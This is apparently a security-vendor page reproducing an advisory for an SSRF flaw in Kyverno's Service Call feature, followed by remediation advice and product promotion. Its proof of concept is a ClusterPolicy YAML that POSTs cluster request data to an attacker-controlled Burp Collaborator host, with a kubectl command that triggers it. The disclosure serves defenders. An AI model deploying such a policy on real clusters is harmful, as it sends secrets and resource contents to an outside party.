Summary
Kyverno vulnerable to SSRF via Service Calls
An attacker with the ability to create Kyverno policies in a Kubernetes cluster can use Service Call functionality to perform SSRF to a server under their control in order to exfiltrate data.
Details
According to the documentation, Service Call is intended to address services located inside the Kubernetes cluster, but this method can also resolve external addresses, which allows making requests outside the Kubernetes cluster.
https://kyverno.io/docs/writing-policies/external-data-sources/#variables-from-service-calls
PoC
Create a slightly modified Cluster Policy from the documentation. In the url we specify the address of a server controlled by the attacker, for example Burp Collaborator.
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
name: check-namespaces
spec:
rules:
- name: call-extension
match:
any:
- resources:
kinds:
- ConfigMap
context:
- name: result
apiCall:
method: POST
data:
- key: namespace
value: "{{request.namespace}}"
service:
url: http://bo3gyn4qwyjnrx87fjnrsd4p7gd71xpm.oastify.com/payload
validate:
message: "namespace {{request.namespace}} is not allowed"
deny:
conditions:
all:
- key: "{{ result.allowed }}"
operator: Equals
value: false
Now let's create some configmap:
kubectl create configmap special-config --from-literal=special.how=very --from-literal=special.type=charm
Look at the Burp Collaborator logs:
Impact
An attacker creating such a policy can obtain the contents of all Kubernetes resources created in the cluster, including secrets containing sensitive information.
Untrusted input controls the target URL of a server-initiated request, which may reach internal services not otherwise accessible from outside. Typical impact: access to internal metadata services, internal APIs, or cloud credentials.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
In the interim: Validate and restrict destination URLs against an allowlist. Block requests to private IP ranges and cloud metadata endpoints.
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is GHSA-459X-Q9HG-4GPQ? GHSA-459X-Q9HG-4GPQ is a high-severity server-side request forgery (SSRF) vulnerability in github.com/kyverno/kyverno (go), affecting versions <= 1.13.4. No fixed version is listed yet. Untrusted input controls the target URL of a server-initiated request, which may reach internal services not otherwise accessible from outside.
- Which versions of github.com/kyverno/kyverno are affected by GHSA-459X-Q9HG-4GPQ? github.com/kyverno/kyverno (go) versions <= 1.13.4 is affected.
- Is there a fix for GHSA-459X-Q9HG-4GPQ? No fixed version is listed for GHSA-459X-Q9HG-4GPQ yet. Monitor the advisory for updates and apply mitigations in the interim.
- Is GHSA-459X-Q9HG-4GPQ exploitable, and should I be worried? Whether GHSA-459X-Q9HG-4GPQ is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether GHSA-459X-Q9HG-4GPQ is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix GHSA-459X-Q9HG-4GPQ? No fixed version is listed yet. In the interim: Validate and restrict destination URLs against an allowlist. Block requests to private IP ranges and cloud metadata endpoints.